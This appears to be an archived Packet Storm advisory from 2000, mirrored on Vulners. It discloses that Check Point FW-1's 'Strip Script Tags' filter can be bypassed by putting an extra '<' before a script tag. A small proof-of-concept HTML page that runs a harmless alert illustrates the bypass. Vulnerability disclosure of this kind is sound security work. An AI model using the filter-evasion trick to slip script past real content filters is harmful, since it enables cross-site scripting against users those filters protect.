Lucene search
K

fw1_script.tags.txt

🗓️ 01 Feb 2000 00:00:00Reported by Arne VidstromType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Circumvent "Strip Script Tags" in FW-1 using extra less than sign before script tag.

Code
`Hi all,  
  
The "Strip Script Tags" in FW-1 can be circumvented by adding an extra <  
before the <SCRIPT> tag like in this code:  
  
<HTML>  
<HEAD>  
<<SCRIPT LANGUAGE="JavaScript">  
alert("hello world")  
</SCRIPT>  
</HEAD>  
<BODY>  
test  
</BODY>  
</HTML>  
  
This code will pass unchanged, and still execute in both Navigator and  
Explorer. I tried this on version 3.0 of FW-1 (on Windows NT 4.0) but I'm  
not able to check it on version 4.0 since I don't have access to it.  
  
  
/Arne Vidstrom  
  
http://ntsecurity.nu  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Feb 2000 00:00Current
7.4High risk
Vulners AI Score7.4
20